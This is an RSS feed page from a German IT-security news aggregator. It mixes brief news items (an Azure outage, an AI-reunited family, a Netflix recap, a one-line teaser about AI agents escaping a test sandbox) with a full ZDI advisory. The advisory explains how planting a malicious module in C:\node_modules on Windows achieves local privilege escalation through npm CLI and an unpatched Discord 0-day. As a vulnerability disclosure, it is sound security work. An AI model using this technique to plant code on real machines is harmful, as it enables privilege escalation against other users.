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<title><![CDATA[AI agents break free: Do we need to worry? | DW News - YouTube]]></title>
<description><![CDATA[During a security test, two AI agents escaped a restricted environment and hacked an AI platform ... Is this a cybersecurity wake-up call or a ...]]></description>
<link>https://tsecurity.de/de/3694999/it-security-nachrichten/ai-agents-break-free-do-we-need-to-worry-dw-news-youtube/</link>
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<pubDate>Sun, 26 Jul 2026 06:31:25 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[During a <b>security</b> test, two AI agents escaped a restricted environment and hacked an AI platform ... Is this a cybersecurity wake-up call or a ...]]></content:encoded>
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<item>
<title><![CDATA[Microsoft explains why its West US Azure and cloud services failed]]></title>
<description><![CDATA[Microsoft cloud and Azure services hosted on the West Coast of the US went down for hours on Thursday when network connectivity failed. Although services running entirely within Microsoft’s West US cloud region were unaffected, any traffic entering or leaving the facilities was affected.



Micro...]]></description>
<link>https://tsecurity.de/de/3694765/ai-nachrichten/microsoft-explains-why-its-west-us-azure-and-cloud-services-failed/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694765/ai-nachrichten/microsoft-explains-why-its-west-us-azure-and-cloud-services-failed/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:06 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Microsoft cloud and Azure services hosted on the West Coast of the US went down for hours on Thursday when network connectivity failed. Although services running entirely within Microsoft’s West US cloud region were unaffected, any traffic entering or leaving the facilities was affected.</p>



<p class="wp-block-paragraph">Microsoft has now published a Preliminary Post Incident Review (PIR) of the incident, reporting that connectivity was lost for five hours between 14.44 UTC (7.44 a.m. Pacific Time) and 19.41 UTC on July 23. The problem was caused when a set of IP routes was removed in error while isolating a device for routine maintenance.<strong></strong></p>



<p class="wp-block-paragraph">Before starting the maintenance work, Microsoft checked that at least one of the two redundant paths to the facility remained operational. When it came to starting the work, however, automated systems included some additional devices in the perimeter to be isolated, and removing some IP routes that had not been included in the initial assessment.</p>



<p class="wp-block-paragraph">Customers discovered the problems very quickly, and engineers identified the issue within the first hour and started to reconnect services.  Microsoft said the disruption had been caused by some “recent fiber maintenance activity”.</p>



<p class="wp-block-paragraph">To minimize the risk of disruption from such errors in the future, Microsoft advised organizations handling mission-critical data to consider a multi-region approach.</p>



<p class="wp-block-paragraph">The Azure outage was the second significant one to hit Microsoft this year. In February, <a href="https://www.networkworld.com/article/4127142/azure-outage-disrupts-vms-and-identity-services-for-over-10-hours.ht">there was a 10-hour disruption to US West and US East regions</a>.</p>



<p class="wp-block-paragraph"><em>This article first appeared on Network World.</em></p>
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<title><![CDATA[‘I thought, I’ve tried everything else, why not give AI a shot?’: the long-lost family reunited by ChatGPT]]></title>
<description><![CDATA[Avtar spent decades wondering what happened to the mother he never got to know. Thousands of miles away, Nicci was haunted by the story of a half-brother given away before she was born. How did a chatbot bring them together?As a small boy growing up in Amritsar, India, in the 1960s, Avtar Singh u...]]></description>
<link>https://tsecurity.de/de/3694760/ai-nachrichten/i-thought-ive-tried-everything-else-why-not-give-ai-a-shot-the-long-lost-family-reunited-by-chatgpt/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694760/ai-nachrichten/i-thought-ive-tried-everything-else-why-not-give-ai-a-shot-the-long-lost-family-reunited-by-chatgpt/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:01 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Avtar spent decades wondering what happened to the mother he never got to know. Thousands of miles away, Nicci was haunted by the story of a half-brother given away before she was born. How did a chatbot bring them together?</p><p>As a small boy growing up in Amritsar, India, in the 1960s, Avtar Singh used to hear whispers. <em>Your mum isn’t really your mum</em>, the rumours would say. <em>Your mum lives abroad.</em> Avtar didn’t really pay any attention to it. “I thought, the neighbours are just making up stories.” But the stories were true: the woman raising Avtar was actually his grandmother. When he was too young to remember it, his father had emigrated to Canada to work as a teacher, leaving Avtar in the care of his paternal grandparents. His grandfather, a police officer, was a fearsome authoritarian, but his grandmother brought him up with tenderness, as if he were her own son. She called him by his nickname, Titu. He felt loved.</p><p>When Avtar was around eight years old, he was told about his family in Canada: his dad, his mum and a little brother were waiting for him there, and he would soon travel to join them. Just after his ninth birthday, Avtar found himself sitting on a plane, dressed in a three‑piece suit and tie. He was travelling alone. He had never flown before. He didn’t speak a word of English. He landed in Halifax, Nova Scotia, on Christmas Eve, 1968; his family met him at the airport and took him home. “I didn’t know what to think,” Avtar, now 66, tells me in a video call from his home in Abbotsford, British Columbia. “Before I knew it, it was the first week of January, and I was put in school.”</p> <a href="https://www.theguardian.com/lifeandstyle/ng-interactive/2026/jul/25/long-lost-family-reunited-chatgpt-artificial-intelligence-ai">Continue reading...</a>]]></content:encoded>
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<title><![CDATA[One fallen power line exposed a growing AI data center problem. Here’s how to fix it.]]></title>
<description><![CDATA[A close call in Northern Virginia revealed just how poorly data centers respond to grid disruptions. Here's how to fix the problem.]]></description>
<link>https://tsecurity.de/de/3694724/ai-nachrichten/one-fallen-power-line-exposed-a-growing-ai-data-center-problem-heres-how-to-fix-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694724/ai-nachrichten/one-fallen-power-line-exposed-a-growing-ai-data-center-problem-heres-how-to-fix-it/</guid>
<pubDate>Sat, 25 Jul 2026 19:49:39 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A close call in Northern Virginia revealed just how poorly data centers respond to grid disruptions. Here's how to fix the problem.]]></content:encoded>
</item>
<item>
<title><![CDATA[Agent Kim Reactivated Episode 10 Recap: Ending Explained and Season 2 Setup]]></title>
<description><![CDATA[Agent Kim Reactivated Episode 10 brings the first season to a tense close as Manager Kim fights for Min-ji’s future while South Korean intelligence officials pull him into another dangerous mission. The finale delivers action, emotional reunions, political betrayal, and a cliffhanger that leaves ...]]></description>
<link>https://tsecurity.de/de/3694687/ios-mac-os/agent-kim-reactivated-episode-10-recap-ending-explained-and-season-2-setup/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694687/ios-mac-os/agent-kim-reactivated-episode-10-recap-ending-explained-and-season-2-setup/</guid>
<pubDate>Sat, 25 Jul 2026 19:47:47 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Agent Kim Reactivated Episode 10 brings the first season to a tense close as Manager Kim fights for Min-ji’s future while South Korean intelligence officials pull him into another dangerous mission. The finale delivers action, emotional reunions, political betrayal, and a cliffhanger that leaves Kim’s promised freedom uncertain.




Release date: July 25, 2026



Streaming platform: Netflix



Genre: Action, crime, espionage thriller




The series follows Manager Kim, an ordinary office worker and single father who previously served as a highly trained black-ops agent. His hidden life returns after his daughter, Min-ji, disappears, forcing him to reconnect with former operatives Han-soo and Jin-cheol.



Spoilers ahead for Agent Kim Reactivated Episode 10



The finale begins with Kim trapped and repeatedly questioned about his activities in South Korea. He remains silent until an interrogator threatens Min-ji, prompting him to attack, break free, and attempt another escape.



Kim soon learns that the imprisonment was part of a loyalty test arranged by South Korean intelligence. Officials want to determine whether he can still follow orders before assigning him another classified operation. They offer Kim and Min-ji new identities and a chance to disappear after he completes one final mission.



Kim agrees, but only after demanding protection for Min-ji and freedom for Han-soo and Jin-cheol. His two friends later wake up after being drugged and abandoned far from home, adding a short comic break after the episode’s intense opening.



Gang-chan prepares another attack



While Kim handles the government’s mission, Ju Gang-chan continues planning revenge. He discovers that Kim and Min-ji have effectively disappeared from official records, which makes them easier targets for anyone operating outside the law.



Gang-chan begins working with political and North Korean contacts, showing that the conspiracy surrounding Kim goes far beyond one personal conflict. His obsession with destroying Kim keeps the threat alive even after several of his earlier plans fail.



Kim eventually reunites with Han-soo and Jin-cheol, but their relief does not last long. Intelligence agents surround their location and announce that Kim’s operation has technically failed. Officials then order Kim and the North Korean Director General to be returned across the border.



Does Manager Kim save Min-ji?



Min-ji remains alive and protected by the end of Episode 10. Kim succeeds in keeping her away from immediate danger, although he does not receive the peaceful life he was promised.



The final scene leaves Kim trapped between two governments, powerful enemies, and possible traitors inside South Korea’s intelligence service. The finale also suggests that someone within the agency has been manipulating events, creating a clear storyline for another season.



Netflix currently describes Agent Kim Reactivated as a limited series, and no official Season 2 renewal has been announced.



Agent Kim Reactivated Episode 10 ends the kidnapping storyline while keeping Kim’s larger battle unfinished. Do you think Kim will uncover the intelligence mole and finally escape with Min-ji? Let us know in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[Node.js Trust Falls: Dangerous Module Resolution on Windows]]></title>
<description><![CDATA[In September of 2024, ZDI received a vulnerability submission from an anonymous researcher affecting npm CLI that revealed a fundamental design issue in Node.js. This blog details how it continues to expose applications to local privilege escalation (LPE) attacks on Windows systems, including the...]]></description>
<link>https://tsecurity.de/de/3694571/hacking/nodejs-trust-falls-dangerous-module-resolution-on-windows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694571/hacking/nodejs-trust-falls-dangerous-module-resolution-on-windows/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:58 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">In September of 2024, ZDI received a vulnerability submission from an anonymous researcher affecting <a href="https://docs.npmjs.com/cli/v11">npm CLI</a> that revealed a fundamental design issue in <a href="https://nodejs.org/en">Node.js</a>. This blog details how it continues to expose applications to local privilege escalation (LPE) attacks on Windows systems, including the Discord desktop app (CVE-2026-0776 0-Day), which remains unpatched and vulnerable.</p>





















  
  



<p>The issue is straightforward: when Node.js resolves modules, the runtime searches for packages in <code>C:\node_modules</code> as part of its default behavior. Since low-privileged Windows users can create this directory and plant malicious modules there, any Node.js application with missing or optional dependencies becomes vulnerable to privilege escalation.</p>




  <p class="">This issue is not new. Concerned discussions about Node.js's module search path behavior date back to <a href="https://groups.google.com/g/nodejs/c/5BGr5dliUIk/m/abJEH3sPymcJ">2013</a> and <a href="https://github.com/nodejs/node-v0.x-archive/issues/8830">2014</a>.</p><p class="">Node.js has explicitly <a href="https://github.com/nodejs/node/security/policy#uncontrolled-search-path-element-cwe-427">stated</a> that they consider this behavior intentional: </p><p class="">"Node.js trusts the file system." </p><p class="">They do not treat CWE-427 (Uncontrolled Search Path Element) as a vulnerability, pushing responsibility onto application developers. </p>





















  
  














































  

    
  
    

      

      
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            <p data-rte-preserve-empty="true"><em>Figure 1: The vendor’s security policy stance on CWE-427 as a non-issue</em></p>
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  <p class="">As the case studies below demonstrate, this stance has dangerous consequences. Developers are largely unaware of this attack surface, and the result is a proliferation of exploitable applications. We will show examples in npm CLI and Discord, but there are likely many more applications that are impacted by this.</p><p class=""><strong>Root Cause</strong></p><p class="">The root cause lies in the way Node.js performs module resolution. This is documented <a href="https://nodejs.org/api/modules.html#loading-from-node-modules-folders">here.</a> Although UNIX paths are used in the documentation provided by Node.js, the same logic is applied on Windows.</p>





















  
  



<p>When a Node.js application calls require(‘bar’), the runtime searches for the module in the following order:  </p>
<ol>
<li>   C:\Users\Administrator\projects\node_modules\bar.js</li>
<li>   C:\Users\Administrator\node_modules\bar.js</li>
<li>   C:\Users\node_modules\bar.js</li>
<li>   C:\node_modules\bar.js              &lt;-- The problem</li>
</ol>
<p>If the legitimate package is missing, whether due to optional dependencies, development packages removed in production, or installation failures, the resolution search will eventually reach the root of the drive. Any user can create <code>C:\node_modules</code> and place a malicious package there. Once the low-privileged user has populated <code>C:\node_modules\bar.js</code>, Node.js will load and execute it in the context of the current user. In the following case studies, we will provide evidence of how, despite properly following NPM’s <a href="https://docs.npmjs.com/cli/v11/configuring-npm/package-json#optionaldependencies">guidelines</a>, third-party dependencies end up triggering this vulnerability anytime you launch the application.   </p>
<p><b data-preserve-html-node="true">Case Studies: Real-World Manifestations</b>  </p>
<p>The Optional Dependency Pattern:
npm supports optional dependencies to be specified in the project’s package.json file. The <a href="https://docs.npmjs.com/cli/v11/configuring-npm/package-json#optionaldependencies">recommended pattern</a> for checking for these dependencies is as follows:</p>












































  

    
  
    

      

      
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            <p data-rte-preserve-empty="true"><em>Figure 2: npm Docs showing optionalDependencies example code      </em></p>
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<p>This pattern silently catches errors when optional packages are missing, allowing execution to continue. So what’s the problem? On Windows, Node.js will search all the way up to <code>C:\node_modules</code> where an attacker may have planted a malicious replacement. This search behavior mirrors UNIX conventions where <code>/node_modules</code> at the filesystem root is typically only writable by root. Windows systems by default allow any user to create <code>C:\node_modules</code>. Once <code>require</code> is called, Node.js will traverse the search path and execute any matching module it finds.  </p>
<p>Important things to note:  </p>
<ol>
<li>   This pattern can be found in third party libraries deep in a dependency tree, as we will see in the following examples.  </li>
<li>   There is no runtime indication to either the developers or the end users that such a vulnerability exists without looking at the filesystem logs with Procmon.  </li>
<li>   The optional dependency pattern itself would not be dangerous if Node.js did not search for packages in <code>C:\node_modules</code>.</li>
</ol>
<p>Let’s take a deeper look at both cases and see why this is so dangerous.  </p>
<p><b data-preserve-html-node="true">Case 1: npm CLI (ZDI-26-043 / ZDI-CAN-25430 / CVE-2026-0775)</b>. </p>
<p>Prior to version 11.2.0, npm CLI used a library called “promise-inflight”, which contained an optional dependency on a package called “bluebird”. </p>












































  

    
  
    

      

      
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                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png" data-image-dimensions="926x517" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=1000w" width="926" height="517" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true"><em>Figure 3: npm CLI repo </em><a href="https://github.com/npm/cli/blob/977fd5784f875fdc2e3436ed15c444ddca63e3d7/node_modules/promise-inflight/inflight.js#L6"><em>snippet</em></a><em> </em><a href="https://github.com/npm/cli/blob/977fd5784f875fdc2e3436ed15c444ddca63e3d7/node_modules/promise-inflight/inflight.js#L6"><em>showing</em></a><em> require call for missing bluebird package dependency</em></p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>When Node.js is installed on the system, npm is included by default without the <code>bluebird</code> package.  This vulnerability was introduced when bluebird was removed through a well-intentioned pull request (<a href="https://github.com/npm/cli/pull/1438/changes">https://github.com/npm/cli/pull/1438/changes</a>), demonstrating how easy it is for developers to unknowingly create this attack surface.</p>
<p>We can see Node’s package resolution logic at work in the screenshot below:</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
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                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png" data-image-dimensions="1007x497" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=1000w" width="1007" height="497" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true"><em>Figure 4: Procmon log showing the package resolution behavior of Node.js via CVE-2026-0775</em></p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>First, the application looks for the <code>bluebird.js</code> package in the Node.js installation directory. Node.js sequentially searches back to the system root until it finds the package. If an attacker has placed <code>C:\node_modules\bluebird.js</code>, the <code>require</code> call will find, read, and execute the malicious payload in the context of any user running npm on the system. </p>
<p>This vulnerability is especially dangerous because it is triggered when many <code>npm *</code> cli commands are used. Common development commands such as <code>npm install</code>, <code>npm –l</code>, and <code>npm prune</code> will all execute the malicious <code>bluebird.js</code>package.</p>
<p><b data-preserve-html-node="true">Case 2: Discord (ZDI-26-040/ ZDI-CAN-27057 / CVE-2026-0776/ UNPATCHED)</b></p>
<p>On April 22, 2025, ZDI received a report for a similar vulnerability in Discord reported by T. Doğa Gelişli. Discord uses the ws WebSocket library, which contains an optional dependency on utf-8-validate for compatibility with older Node.js versions:</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
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                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png" data-image-dimensions="1662x798" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=1000w" width="1662" height="798" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true">Figure 5: websockets library repo snippet showing require call for missing utf-8-validate package dependency</p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>Discord does not ship with the utf-8-validate package. As a result, the following Procmon logs show the same behavior as Case 1. Anytime Discord is launched, the attacker controlled <code>C:\node_modules\utf-8-validate.js</code> is executed.</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
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                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png" data-image-dimensions="1074x528" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=1000w" width="1074" height="528" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true">Figure 6: Procmon log showing the package resolution behavior of Node.js via CVE-2026-0776</p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>The ws library does support disabling this check via the <code>WS_NO_UTF_8_VALIDATE</code> environment variable, but this requires the consuming application (Discord) to set it explicitly. Here’s a quick video demonstrating the bug by popping the calc app when opening Discord:</p>


  














  
    
      
    
    
      
        
          
          
        
      
      
      



    
  








  <p class="">Discord automatically opens on login by default, so in practice code execution happens immediately without any user interaction. Strangely, the Discord Security team made it clear to us in their responses that they do not consider local attack vectors as valid security issues. </p><p class=""><strong>The Bigger Picture</strong></p><p class="">The cases above represent only a few of the applications affected by this pattern. During our investigation we found many other independent reports.  These issues in <a href="https://jira.mongodb.org/browse/COMPASS-9058">Mongo DB Compass</a> and <a href="https://jira.mongodb.org/browse/MONGOSH-2028">Mongo DB Shell</a> are just two other examples.</p><p class="">Every Windows application built on Node.js with missing or optional dependencies is potentially vulnerable. This includes desktop applications that utilize Electron as well as popular web frameworks such as Next.js and React.</p><p class="">Each vendor has clearly stated that they will not treat these issues as vulnerabilities: </p><p class="">NPM’s response to our report: </p><p class=""><em>“exploits that require local access to a machine are considered ineligible for npm CLI</em></p><p class="">Discord’s response to our report:</p><p class=""><em>“We do not consider physical/local attacks as valid security issues”</em></p><p class="">Node.js, in the “Examples of non-vulnerabilities” section of their <a href="https://github.com/nodejs/node/security/policy#examples-of-non-vulnerabilities">Security Policy</a>: </p><p class=""><em>“Node.js trusts the file system in the environment accessible to it. Therefore, it is not a vulnerability if it accesses/loads files from any path that is accessible to it.” </em></p><p class=""><strong>Conclusion</strong></p>





















  
  



<p>The vulnerability pattern described in this blog stems from a deliberate design decision by Node.js maintainers. While Node.js's position that “applications should trust their filesystem” may hold true on properly administered UNIX systems, it creates a systemic vulnerability on Windows where low-privileged users can write to <code>C:\node_modules</code>. Without a fix from Node.js, the burden silently falls on application developers.   </p>
<p>Making matters worse, the vulnerable code may not live in the application code itself. The optional dependencies that trigger this behavior could come from third-party libraries buried in the dependency tree as we saw with both Discord and npm CLI. </p>




  <p class="">We encourage security researchers to further review this issue and investigate other applications for this dangerous behavior. You can find us online at <a href="https://x.com/bobbygould5">@bobbygould5</a> and <a href="https://x.com/izobashi">@izobashi</a>, and follow the team on <a href="https://www.twitter.com/thezdi">Twitter</a>, <a href="https://infosec.exchange/@thezdi">Mastodon</a>, <a href="https://www.linkedin.com/company/zerodayinitiative">LinkedIn</a>, or <a href="https://bsky.app/profile/thezdi.bsky.social">Bluesky</a> for the latest in exploit techniques and security patches.</p><p class=""> </p><p class="">DISCLOSURE TIMELINES</p><p class=""> </p><p class="">NPM CLI: </p><p class="">2024-11-13 – ZDI submitted the report to the vendor</p><p class="">2024-11-13 – The vendor acknowledged the receipt of the report</p><p class="">2024-11-13 – The vendor communicated that the reported behavior was by design and they do not consider local attacks as valid security issues</p><p class="">2025-08-05 – ZDI encouraged the vendor to re-assess the issue</p><p class="">2025-12-18 – ZDI notified the vendor of the intention to publish the case as a 0-day advisory</p><p class=""> </p><p class="">DISCORD: </p><p class="">2025-07-08 – ZDI notified vendor </p><p class="">2025-09-11 – ZDI followed up with vendor </p><p class="">2025-09-15 – Vendor stated they do not consider local attacks as valid security issues </p><p class="">2025-12-01 – ZDI explained why we believe the issue is still valid </p><p class="">2025-12-10 – Vendor replied that the vulnerability is still out of scope  </p><p class="">2025-12-11 – ZDI informed vendor of intent to publish 0-day  </p><p class="">  </p><p class="">REFERENCES</p><p class=""><a href="https://nodejs.org/api/modules.html#loading-from-node_modules-folders">https://nodejs.org/api/modules.html#loading-from-node_modules-folders</a></p><p class=""><a href="https://docs.npmjs.com/cli/v10/configuring-npm/package-json#optionaldependencies">https://docs.npmjs.com/cli/v10/configuring-npm/package-json#optionaldependencies</a></p><p class=""><a href="https://groups.google.com/g/nodejs/c/5BGr5dliUIk/m/abJEH3sPymcJ?pli=1">https://groups.google.com/g/nodejs/c/5BGr5dliUIk/m/abJEH3sPymcJ?pli=1</a></p><p class=""><a href="https://github.com/nodejs/node-v0.x-archive/issues/8830">https://github.com/nodejs/node-v0.x-archive/issues/8830</a></p><p class=""><a href="https://bounty.github.com/ineligible.html#vulnerability_in_upstream_dependencies:~:text=eligible%20for%20rewards.-,Local%20access,-Vulnerabilities%20which%20require">https://bounty.github.com/ineligible.html#vulnerability_in_upstream_dependencies:~:text=eligible%20for%20rewards.-,Local%20access,-Vulnerabilities%20which%20require</a></p><p class=""><a href="https://github.com/nodejs/node/security/policy#examples-of-non-vulnerabilities">https://github.com/nodejs/node/security/policy#examples-of-non-vulnerabilities</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Apple macOS Security Update Review]]></title>
<description><![CDATA[We’ve received some feedback from those who read the Patch Blog that they would like something similar for macOS updates. Unfortunately, Apple doesn’t schedule these for a particular day, but we can provide our thoughts and analysis on the days they do release their latest patches. For May 2026, ...]]></description>
<link>https://tsecurity.de/de/3694569/hacking/the-apple-macos-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694569/hacking/the-apple-macos-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:56 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
